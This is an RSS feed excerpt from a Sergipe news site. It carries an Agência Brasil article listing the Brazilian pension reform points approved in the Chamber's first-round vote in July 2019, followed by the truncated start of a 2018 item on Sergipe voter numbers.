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	<title>Arquivo para senadores - Só Sergipe</title>
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	<description>Notícias de Sergipe levadas a sério.</description>
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	<title>Arquivo para senadores - Só Sergipe</title>
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		<title>Previdência: confira principais pontos aprovados em primeiro turno</title>
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		<dc:creator><![CDATA[Antonio Garcia]]></dc:creator>
		<pubDate>Sat, 13 Jul 2019 18:55:19 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
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					<description><![CDATA[<p>Aprovada na sexta-feira (12) à noite pelo Plenário da Câmara dos Deputados, a reforma da Previdência voltou para a comissão especial para ter a redação final votada em segundo turno. Depois de quatro dias horas de debates, os deputados aprovaram quatro emendas e destaques e rejeitaram oito. Mais oito alterações foram retiradas da pauta ou [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Aprovada na sexta-feira (12) à noite pelo Plenário da Câmara dos Deputados, a reforma da Previdência voltou para a comissão especial para ter a redação final votada em segundo turno. Depois de quatro dias horas de debates, os deputados aprovaram quatro emendas e destaques e rejeitaram oito. Mais oito alterações foram retiradas da pauta ou deixaram de ser votadas porque ficaram prejudicadas durante a tramitação.</p>
<p style="text-align: justify;">A primeira emenda aprovada melhorou o cálculo de <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Dhttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/camara-aprova-mudancas-em-regras-de-pensao-e-para-mulheres%E2%80%9D" target="“_blank”" rel="noopener noreferrer">pensões por morte</a></span> para viúvos ou viúvas de baixa renda e antecipou o aumento da aposentadoria de mulheres da iniciativa privada. Resultado de acordo com a bancada feminina, a emenda teve aprovação maçica, por 344 votos a 132.</p>
<p style="text-align: justify;">Também fruto de acordo entre os partidos do governo, do centrão e da oposição, a segunda emenda aprovada suavizou as regras para a <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Dhttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/camara-aprova-regras-especiais-de-aposentadoria-de-policiais-da-uniao%E2%80%9D" target="”_blank”" rel="noopener noreferrer">aposentadoria de policiais</a> </span>que servem à União. A emenda também tinha acordo entre governo e oposição para ser aprovada.</p>
<p style="text-align: justify;">A categoria, que engloba policiais federais, policiais rodoviários federais, policiais legislativos, policiais civis do Distrito Federal e agentes penitenciários e socioeducativos federais, terá uma regra mais branda de transição, pode aposentar-se aos 53 anos (homens) e 52 anos (mulheres), desde que cumpram o pedágio de 100% sobre o tempo que falta para se aposentar.</p>
<p style="text-align: justify;">Os deputados aprovaram outros dois destaques. Um mantém em 15 anos o tempo de contribuição para os trabalhadores do sexo masculino do Regime Geral de Previdência Social (RGPS). Os homens, no entanto, só conquistarão direito à aposentadoria integral com 40 anos de contribuição, contra <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Dagenciabrasil.ebc.com.br/politica/noticia/2019-07/mulheres-terao-aposentadoria-integral-cinco-anos-antes-dos-homens%E2%80%9D" target="”_blank”" rel="noopener noreferrer">35 anos de contribuição das mulheres</a>.</span></p>
<p style="text-align: justify;">O último destaque aprovado reduziu a idade mínima de<span style="color: #0000ff;"> </span><a href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Dhttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/camara-reduz-idade-minima-de-aposentadoria-para-professores%E2%80%9D" target="”_blank”" rel="noopener noreferrer"><span style="color: #0000ff;">aposentadoria de professores</span> </a>para 55 anos (homens) e 52 anos (mulheres). Também fruto de um acordo partidário, o destaque estabelece que a redução só valerá para quem cumprir 100% do pedágio sobre o tempo que falta para aposentar-se pelas regras atuais.</p>
<p style="text-align: justify;">O texto alterado pelos deputados segue para a comissão especial, onde precisa ter a redação final aprovada em segundo turno. De lá, volta para o Plenário, para ser votado a partir de 6 de agosto também em segundo turno. Nessa etapa, só podem ser apresentadas emendas supressivas, que retiram pontos do texto.</p>
<h2 style="text-align: justify;"><strong>[box type=&#8221;info&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</strong></h2>
<p style="text-align: justify;"><strong>Confira como está a reforma da Previdência após a aprovação em primeiro turno</strong></p>
<h3 style="text-align: justify;">Trabalhador urbano</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> idade mínima de 62 anos para mulheres e de 65 anos para homens após o período de transição, com tempo mínimo de contribuição de 25 anos para ambos os sexos, 10 anos no serviço público e cinco anos no cargo.</li>
<li><strong>Comissão especial:</strong> idades mínimas mantidas, com tempo de contribuição de<span style="color: #0000ff;"> <a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-06/previdencia-contribuicao-sobe-de-15-para-20-anos-para-homens" target="_blank" rel="noopener noreferrer">20 anos para homens e 15 anos para as mulheres</a>.</span></li>
<li><strong>Proposta aprovada em primeiro turno:</strong> idades mínimas mantidas, com tempo mínimo de contribuição de 15 anos para homens e mulheres.</li>
</ul>
<h3 style="text-align: justify;">Servidor público federal</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> idade mínima de 62 anos para mulheres e de 65 anos para homens após o período de transição, com tempo mínimo de contribuição de 25 anos para ambos os sexos.</li>
<li><strong>Primeira versão do relatório:</strong> idades mínimas e parâmetros de aposentadorias regulamentados por lei complementar a partir da promulgação da reforma.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> idades mínimas de aposentadorias para o serviço público federal <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-07/idade-minima-de-aposentadoria-de-servidores-continuara-na-constituicao" target="_blank" rel="noopener noreferrer">continuarão fixadas na Constituição</a>,</span> com demais parâmetros definidos por lei complementar a partir da promulgação da reforma.</li>
</ul>
<h3 style="text-align: justify;">Regra de transição</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> no Regime Geral de Previdência Social (RGPS), que abrange os trabalhadores do setor privado, a proposta de emenda à Constituição (PEC) prevê três regras de transição para o setor privado: sistema de pontos por tempo de contribuição e por idade, aposentadoria por tempo de contribuição para quem tem pelo menos 35 anos de contribuição (homens) e 30 anos (mulheres) e pedágio de 50% sobre o tempo faltante pelas regras atuais, desde que restem menos de dois anos para a aposentadoria.Para o Regime Próprio de Previdência Social (RPPS), dos servidores públicos, o texto estipula um sistema de pontuação que permitiria a aposentadoria a partir dos 61 anos para homens e 56 anos para mulheres. A partir de 2022, as idades mínimas subiriam para 62 anos (homens) e 57 anos (mulheres). Nesse caso, no entanto, os servidores receberiam um valor mais baixo. Os trabalhadores públicos que entraram até 2003 precisariam trabalhar até 65 anos (homens) e 62 anos (mulheres) para terem direito à integralidade (último salário da ativa) e paridade (mesmos reajustes salariais dos ativos).</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> o texto <a href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-06/relator-suaviza-regra-de-transicao-para-servico-publico-e-inss" target="_blank" rel="noopener noreferrer"><span style="color: #0000ff;">acrescentou uma regra de transição</span> </a>que valerá tanto para o serviço público como para a iniciativa privada. Os trabalhadores a mais de dois anos da aposentadoria terão um pedágio de 100% sobre o tempo faltante para ter direito ao benefício, desde que tenham 60 anos (homens) e 57 anos (mulheres) e 35 anos de contribuição (homens) e 30 anos de contribuição (mulheres). No caso dos servidores públicos que entraram antes de 2003, o pedágio dará direito à integralidade e à paridade.</li>
</ul>
<h3 style="text-align: justify;">Gatilho na idade mínima</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> Constituição definiria um <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/economia/noticia/2019-02/idade-para-aposentadoria-pode-subir-de-acordo-com-expectativa-de-vida%E2%80%9D" target="“_blank”" rel="noopener noreferrer">gatilho automático</a></span> que elevaria as idades mínimas de quatro em quatro anos conforme o aumento da expectativa de vida.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> relator <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-07/idade-minima-de-aposentadoria-de-servidores-continuara-na-constituicao" target="_blank" rel="noopener noreferrer">retirou o mecanismo de ajuste</a>.</span> Novas alterações das idades mínimas terão de exigir mudança na Constituição.</li>
</ul>
<h3 style="text-align: justify;">Aposentadoria rural</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> idade mínima de 60 anos para a aposentadoria de homens e mulheres, com 20 anos de tempo de contribuição para ambos os sexos.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> tema retirado na comissão especial. Mantidas as regras atuais, com 55 anos para mulheres e 60 anos para homens, incluindo garimpeiros e pescadores artesanais. Apenas o tempo mínimo de contribuição para homens sobe para 20 anos, com a manutenção de 15 anos para mulheres.</li>
</ul>
<h3 style="text-align: justify;">Professores</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> idade mínima de 60 anos de idade para a aposentadoria de homens e mulheres, com 30 anos de tempo de contribuição.</li>
<li><strong>Primeira versão do relatório:</strong> idade mínima de <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-06/relator-fixa-idade-minima-de-aposentadoria-de-professoras-em-57-anos" target="_blank" rel="noopener noreferrer">57 anos para mulheres</a> </span>e 60 anos para homens, com definição de novos critérios por lei complementar. Regra vale para professores do ensino infantil, fundamental e médio.</li>
<li><strong>Comissão especial:</strong> professoras terão<span style="color: #0000ff;"> <a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-07/relator-permite-aposentadoria-integral-de-professoras-aos-57-anos" target="_blank" rel="noopener noreferrer">integralidade</a></span> (aposentadoria com último salário da ativa) e paridade (mesmos reajustes que trabalhadores da ativa) aos 57 anos. Professores só terão esses direitos a partir dos 60 anos, com pedágio de 100% sobre o tempo que falta para aposentar-se. Destaque que retiraria os professores da reforma foi rejeitado.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Dhttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/camara-reduz-idade-minima-de-aposentadoria-para-professores%E2%80%9D" target="”_blank”" rel="noopener noreferrer">idade mínima de aposentadoria reduzida </a></span>para 55 anos (homens) e 52 anos (mulheres), com cumprimento do pedágio de 100%. Benefício vale para professores federais, da iniciativa privada e dos municípios sem regime próprio de Previdência. Destaque aprovado após acordo entre governo e oposição.</li>
</ul>
<h3 style="text-align: justify;">Capitalização</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> Constituição viria com autorização para lei complementar que instituirá o regime de capitalização.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-06/capitalizacao-da-previdencia-fica-para-segundo-semestre-diz-maia" target="_blank" rel="noopener noreferrer">tema retirado</a> </span>antes da divulgação da primeira versão do relatório na comissão especial.</li>
</ul>
<h3 style="text-align: justify;">Benefício de Prestação Continuada (BPC)</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> idosos de baixa renda receberiam R$ 400 a partir dos 60 anos, alcançando um salário mínimo somente a partir dos 70.</li>
<li><strong>Primeira versão do relatório:</strong> proposta retirada, com manutenção de um salário mínimo para idosos pobres a partir dos 65 anos.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> inclusão de <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/relator-da-previdencia-inclui-medida-para-reduzir-fraude-no-bpc" target="_blank" rel="noopener noreferrer">medida para combater fraudes </a></span>no BPC, com especificação na Constituição de renda familiar <i>per capita</i> de até um quarto do salário mínimo a partir dos 65 anos para ter direito ao benefício.</li>
</ul>
<h3 style="text-align: justify;">Pensão por morte</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> pensão por morte começaria em 60% do salário de contribuição, aumentando 10 pontos percentuais por dependente até chegar a 100% para cinco ou mais dependentes. Retirada da pensão de 100% para dependentes com deficiências intelectuais ou mentais. Apenas dependentes com deficiências físicas receberiam o valor máximo.</li>
<li><strong>Primeira versão do relatório:</strong> mantém nova fórmula de cálculo, mas garante pensão de pelo menos um salário mínimo para beneficiários sem outra fonte de renda na família. Pagamento de 100% para beneficiários com dependentes inválidos (deficiência física, intelectual ou mental) e para dependentes de policiais e agentes penitenciários da União mortos por agressões em serviço.</li>
<li><strong>Comissão especial:</strong> pensões de 100% para policiais e agentes penitenciários da União serão pagas por morte em <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/estados-poderao-aprovar-idades-menores-para-aposentadoria-de-policiais%E2%80%9D" target="“_blank”" rel="noopener noreferrer">qualquer circunstância relacionada ao trabalho</a>,</span> como acidentes de trânsito e doenças ocupacionais, demais pontos da primeira versão mantidos.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> garante pensão de pelo menos um salário mínimo para <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Dhttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/camara-aprova-mudancas-em-regras-de-pensao-e-para-mulheres%E2%80%9D" target="“_blank”" rel="noopener noreferrer">beneficiários sem outra fonte de renda</a>,</span> retirando a exigência de comprovação de renda dos demais membros da família. Destaque aprovado por meio de acordo da bancada feminina.</li>
</ul>
<h3 style="text-align: justify;">Abono salarial</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> pagamento restrito aos trabalhadores formais que ganham um salário mínimo, contra dois salários mínimos pagos atualmente.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> pagamento aos trabalhadores de baixa renda (até R$ 1.364,43 em valores atuais).</li>
</ul>
<h3 style="text-align: justify;">Salário-família e auxílio-reclusão</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> pagamento restrito a beneficiários com renda de um salário mínimo.</li>
<li><strong>Proposta aprovada</strong>: pagamento a pessoas de baixa renda (até R$ 1.364,43 em valores atuais).</li>
</ul>
<h3 style="text-align: justify;">Cálculo de benefícios</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> benefício equivalente a 60% da média as contribuições em toda a vida ativa, mais dois pontos percentuais por ano que exceder os 20 anos de contribuição.</li>
<li><strong>Primeira versão do relatório:</strong> redação abriu brecha para exclusão de contribuições “prejudiciais ao cálculo do benefício”, que poderia anular toda a economia com a reforma da Previdência.</li>
<li><strong>Segunda versão do relatório:</strong> redação mais clara para retirar brecha e<span style="color: #0000ff;"> <a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/novo-relatorio-mantem-calculo-por-media-que-reduz-aposentadoria%E2%80%9D" target="“_blank”" rel="noopener noreferrer">retomar a fórmula original</a> </span>proposta pelo governo.</li>
<li><strong>Comissão especial:</strong> inclusão de parágrafo no Artigo 27 para eliminar falha que faria trabalhador que tenha contribuído por mais de 20 anos, porém com salário menor a partir do 21º ano, conquistar aposentadoria menor do que segurado que tenha contribuído por apenas 20 anos.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> valor da aposentadoria de mulheres da iniciativa privada começará a subir dois pontos percentuais por ano que exceder 15 anos de contribuição. Aposentadoria de homens só começará a subir depois de 20 anos de contribuição. Mudança permite a mulheres receber aposentadoria de 100% do salário médio com <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Dagenciabrasil.ebc.com.br/politica/noticia/2019-07/mulheres-terao-aposentadoria-integral-cinco-anos-antes-dos-homens%E2%80%9D" target="”_blank”" rel="noopener noreferrer">35 anos de contribuição</a>,</span> cinco anos antes dos homens</li>
</ul>
<h3 style="text-align: justify;">Reajuste de benefícios</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> eliminava trecho da Constituição que preservava a reposição das perdas da inflação.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> manutenção do reajuste dos benefícios pela inflação.</li>
</ul>
<h3 style="text-align: justify;">Contagem de tempo</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> PEC não abordava assunto.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> parágrafo que <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/novo-relatorio-mantem-calculo-por-media-que-reduz-aposentadoria%E2%80%9D" target="“_blank”" rel="noopener noreferrer">impede a contagem de tempo</a> </span>sem o pagamento das contribuições. Recentemente, o Tribunal de Contas da União (TCU) decidiu que os juízes podem considerar, no tempo de contribuição, os anos em que exerciam a advocacia e não contribuíam para a Previdência.</li>
</ul>
<h3 style="text-align: justify;">Estados e municípios</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> PEC valeria automaticamente para servidores dos estados e dos municípios, sem necessidade de aprovação pelos Legislativos locais.</li>
<li><strong>Primeira versão do relatório:</strong> retirada de estados e municípios da PEC, com a possibilidade de reinclusão dos governos locais por meio de emenda na comissão especial ou no plenário da Câmara.</li>
<li><strong>Segunda versão do relatório:</strong> autorização para que estados e municípios aumentassem temporariamente a <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/relator-volta-permitir-contribuicao-extra-de-servidores-estaduais%E2%80%9D" target="“_blank”" rel="noopener noreferrer">alíquota de contribuição dos servidores</a> </span>para cobrir o rombo nos regimes locais de Previdência, sem a necessidade de aprovação dos Legislativos locais.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/idade-minima-para-aposentadoria-de-policiais-permanece-em-55-anos%E2%80%9D" target="“_blank”" rel="noopener noreferrer">autorização retirada</a>,</span> todos os pontos da reforma da Previdência precisarão ser aprovados pelos Legislativos locais para valerem nos estados e nos municípios.</li>
</ul>
<h3 style="text-align: justify;">Incorporação de adicionais</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> PEC não abordava assunto.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> extensão aos estados e municípios da proibição de incorporar adicionais por cargo de confiança ou em comissão ao salário dos servidores, vedação que existe em nível federal.</li>
</ul>
<h3 style="text-align: justify;">Acúmulo de benefícios</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> limite para acúmulo de benefícios a 100% do benefício de maior valor, somado a um percentual da soma dos demais, começando em adicional de 80% para um salário mínimo e caindo para 0% acima de benefícios de mais de quatro salários mínimos. Médicos, professores, aposentadorias do RPPS ou das Forças Armadas ficam fora do limite por terem exceções estabelecidas em lei.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> altera para 10% adicional para benefícios acima de quatro salários mínimos, mantendo os demais pontos.</li>
</ul>
<h3 style="text-align: justify;">Encargos trabalhistas</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> possibilidade de incidir desconto para a Previdência sobre vale-alimentação, vale-transporte e outros benefícios trabalhistas.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> tema retirado.</li>
</ul>
<h3 style="text-align: justify;">Policiais que servem à União</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> a categoria (que abrange policiais federais, policiais rodoviários federais, policiais legislativos e agentes penitenciários federais, entre outros) se aposentará aos 55 anos de idade, com 30 anos de contribuição e 25 anos de exercício efetivo na carreira, independentemente de distinção de sexo.</li>
<li><strong>Texto-base da comissão especial:</strong> depois de tentativas de acordo para reduzir a idade mínima para 52 anos (mulheres) e 53 anos (homens) para policiais e agentes de segurança em nível federal, o relator <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-07/idade-minima-para-aposentadoria-de-policiais-permanece-em-55-anos" target="“_blank”" rel="noopener noreferrer">manteve a proposta original</a> do governo.</span></li>
<li><strong>Proposta aprovada na comissão especial:</strong> destaque para reinstituir condições diferenciadas para categoria <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-07/comissao-rejeita-regras-especiais-de-aposentadoria-para-policiais" target="“_blank”" rel="noopener noreferrer">derrubado na comissão especial</a>.</span></li>
<li><strong>Proposta aprovada em primeiro turno:</strong> volta da <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Dhttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/camara-aprova-regras-especiais-de-aposentadoria-de-policiais-da-uniao%E2%80%9D" target="”_blank”" rel="noopener noreferrer">idade mínima de 53 anos para homens e 52 anos para mulheres</a> </span>para o policial que cumprir 100% do pedágio sobre o tempo que falta para se aposentar pelas regras atuais. Destaque aprovado após acordo entre partidos do governo, do centrão e da oposição.</li>
</ul>
<h3 style="text-align: justify;">Policiais militares e bombeiros</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> a categoria teria as mesmas regras das Forças Armadas, com <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/economia/noticia/2019-02/governo-quer-tempo-de-contribuicao-de-35-anos-para-militares%E2%80%9D" target="“_blank”" rel="noopener noreferrer">35 anos de contribuição</a>,</span> com contagem de tempo no RGPS e possibilidade de que policiais e bombeiros na reserva trabalhem em atividades civis.</li>
<li><strong>Comissão especial:</strong> aprovação de destaque para que aposentadorias de policiais militares e bombeiros permaneçam sob a responsabilidade dos estados. Mudança beneficia categoria porque, em alguns estados, eles aposentam-se com menos de 35 anos de contribuição, como proposto pelo projeto que trata da Previdência das Forças Armadas.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> policiais militares e bombeiros continuam fora da reforma.</li>
</ul>
<h3 style="text-align: justify;">Judicialização</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> concentração, na Justiça Federal em Brasília, de ações judiciais contra a reforma da Previdência..</li>
<li><strong>Comissão de Constituição e Justiça:</strong> tema retirado, após <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/politica/noticia/2019-04/marinho-governo-negocia-pontos-da-reforma-da-previdenciana-ccj%E2%80%9D" target="“_blank”" rel="noopener noreferrer">questionamentos de partidos do centrão</a>,</span> mas com autorização para que lei federal autorize julgamentos na Justiça Estadual quando não houver Vara Federal no domicílio do segurado.</li>
<li><strong>Comissão especial:</strong> retirada autorização para julgamentos pelos tribunais estaduais.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> autorização de julgamentos na <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Dhttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/camara-aprova-mudancas-em-regras-de-pensao-e-para-mulheres%E2%80%9D" target="“_blank”" rel="noopener noreferrer">Justiça Estadual</a> </span>restabelecida por meio de emenda articulada pela bancada feminina.</li>
</ul>
<h3 style="text-align: justify;">Aposentadoria de juízes</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> PEC não abordava assunto.</li>
<li><strong>Proposta aprovada:</strong> retirada da Constituição da possibilidade de pena disciplinar de aposentadoria compulsória para juízes e parágrafo que impede contagem de tempo de contribuição para juízes que não contribuíram com a Previdência enquanto exerceram a advocacia.</li>
</ul>
<h3 style="text-align: justify;">Fundo de Amparo ao Trabalhador (FAT)</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> PEC não abordava assunto.</li>
<li><strong>Primeira versão do relatório:</strong> repasse de<span style="color: #0000ff;"> <a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/economia/noticia/2019-06/funcionarios-do-bndes-participam-de-ato-contra-proposta-sobre-fat%E2%80%9D" target="“_blank”" rel="noopener noreferrer">40% das receitas do FAT</a> </span>para a Previdência Social, equivalente a R$ 214 bilhões em dez anos. Atualmente esses recursos vão para o Banco Nacional de Desenvolvimento Econômico e Social (BNDES).</li>
<li><strong>Comissão especial:</strong> <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/economia/noticia/2019-07/relator-desiste-de-remanejar-recursos-do-bndes-para-previdencia%E2%80%9D" target="“_blank”" rel="noopener noreferrer">relator desistiu de remanejar recursos do BNDES</a> </span>após críticas de congressistas e da equipe econômica de que mudança de destinação não melhoraria as contas públicas.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> tema retirado.</li>
</ul>
<h3 style="text-align: justify;">Tributo para bancos</h3>
<ul style="text-align: justify;">
<li><strong>Proposta do governo:</strong> PEC não abordava assunto.</li>
<li><strong>Primeira versão do relatório:</strong> elevar de 15% para 20% a Contribuição Social sobre o Lucro Líquido (CSLL) das instituições financeiras, retomando a alíquota que vigorou de 2016 a 2018.</li>
<li><strong>Segunda versão do relatório:</strong> <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/economia/noticia/2019-07/relator-desiste-de-remanejar-recursos-do-bndes-para-previdencia%E2%80%9D" target="“_blank”" rel="noopener noreferrer">retirada da B3</a></span> (antiga Bolsa de Valores de São Paulo) do aumento da tributação, elevação de 15% para 17% da alíquota para cooperativas de crédito.</li>
<li><strong>Proposta aprovada em primeiro turno:</strong> relator restringe aumento a <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/relator-restringe-aumento-de-csll-bancos-medios-e-grandes%E2%80%9D" target="“_blank”" rel="noopener noreferrer">bancos médios e grandes</a></span>. As demais instituições financeiras continuarão a pagar 15% de CSLL. Mudança deve render em torno de R$ 50 bilhões em dez anos.</li>
</ul>
<h3 style="text-align: justify;">Fim de isenção para exportadores rurais</h3>
<ul>
<li style="text-align: justify;"><strong>Proposta do governo:</strong> PEC não abordava assunto.</li>
<li style="text-align: justify;"><strong>Texto-base:</strong> <a href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/economia/noticia/2019-07/novo-relatorio-da-reforma-da-previdencia-mantem-economia-de-r-1-tri%E2%80%9D" target="“_blank”" rel="noopener noreferrer">fim da isenção</a> da contribuição previdenciária de 2,6% sobre a comercialização da produção agrícola de exportadores rurais. Mudança renderia R$ 83,9 bilhões em uma década.</li>
<li style="text-align: justify;"><strong>Comissão especial:</strong> <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/economia/noticia/2019-07/%E2%80%9Chttp://agenciabrasil.ebc.com.br/politica/noticia/2019-07/comissao-conclui-votacao-da-reforma-da-previdencia%E2%80%9D" target="“_blank”" rel="noopener noreferrer">aprovado destaque para manter o benefício fiscal</a></span>. Destaque também retirou trava que impedia o perdão da dívida do Funrural, contribuição paga pelo produtor rural para ajudar a custear a aposentadoria dos trabalhadores.</li>
<li style="text-align: justify;"><strong>Proposta aprovada em primeiro turno:</strong> tema retirado.</li>
<li style="text-align: justify;">
<h2><strong>[/box]</strong></h2>
</li>
<li style="text-align: justify;">Fonte: Agência Brasil</li>
</ul>
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		<item>
		<title>Mais de 1,5 milhão de eleitores vão às urnas em Sergipe</title>
		<link>https://teste.sosergipe.com.br/mais-de-15-milhao-de-eleitores-vao-as-urnas-em-sergipe-2/</link>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Sat, 06 Oct 2018 19:13:10 +0000</pubDate>
				<category><![CDATA[Política]]></category>
		<category><![CDATA[Brasil]]></category>
		<category><![CDATA[candidatos]]></category>
		<category><![CDATA[deputados estaduais]]></category>
		<category><![CDATA[eleitores]]></category>
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		<category><![CDATA[governadores]]></category>
		<category><![CDATA[milhão]]></category>
		<category><![CDATA[presidente]]></category>
		<category><![CDATA[senadores]]></category>
		<category><![CDATA[Sergipe]]></category>
		<category><![CDATA[TSE]]></category>
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					<description><![CDATA[<p>Neste domingo, 7, 1.577.058 de pessoas estão aptas a votar em Sergipe para escolherem um presidente, um governador, dois senadores, oito deputados federais e 24 deputados estaduais. Desses mais de 1,5 milhão de eleitores, 832.878 são mulheres e 744.180 homens. Este ano, há um detalhe: existem 76 eleitores transexuais e travestis que vão apresentar o [&#8230;]</p>
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]]></description>
